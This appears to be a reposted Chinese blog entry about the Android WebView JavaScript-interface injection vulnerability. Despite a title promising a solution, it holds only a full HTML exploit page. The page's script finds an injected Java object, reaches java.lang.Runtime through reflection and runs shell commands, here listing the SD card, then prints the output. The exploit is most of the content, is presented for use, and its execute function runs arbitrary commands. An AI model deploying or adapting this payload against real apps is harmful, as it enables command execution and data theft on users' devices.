码迷,mamicode.com
首页 > 移动开发 > 详细

Android WebView的Js对象注入漏洞解决方案

时间:2016-05-19 14:58:11      阅读:213      评论:0      收藏:0      [点我收藏+]

标签:

http://blog.csdn.net/leehong2005/article/details/11808557/

webview调用以下文件,就可以打印sdcard 文件名

 1 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 2 <html xmlns="http://www.w3.org/1999/xhtml">
 3  <head>
 4   <title> new document </title>
 5   <script >
 6    var i=0;
 7   function getContents(inputStream)  {
 8         var contents = ""+i;
 9         var b = inputStream.read();
10         var i = 1;
11         while(b != -1) {
12             var bString = String.fromCharCode(b);
13             contents += bString;
14             contents += "\n"
15             b = inputStream.read();
16         }
17         i=i+1;
18         return contents;
19        }
20 
21   function execute(cmdArgs){
22          for (var obj in window) {  
23             console.log(obj);
24             if(window[obj]!=null)
25             if ("getClass" in window[obj]) {
26                 console.log("come to here");
27                 //alert(obj);.
28                 return window[obj].getClass().forName("java.lang.Runtime").
29                     getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);  
30              }  
31          }      
32     }
33     var p = execute(["ls","/mnt/sdcard/"]);
34     console.log("come to here  2");
35 
36     document.write(getContents(p.getInputStream()));  
37   </script>
38   <meta name="generator" content="editplus" />
39   <meta name="author" content="" />
40   <meta name="keywords" content="" />
41   <meta name="description" content="" />
42  </head>
43 
44  <body>
45   
46  </body>
47 </html>

 

Android WebView的Js对象注入漏洞解决方案

标签:

原文地址:http://www.cnblogs.com/friends-wf/p/5508335.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!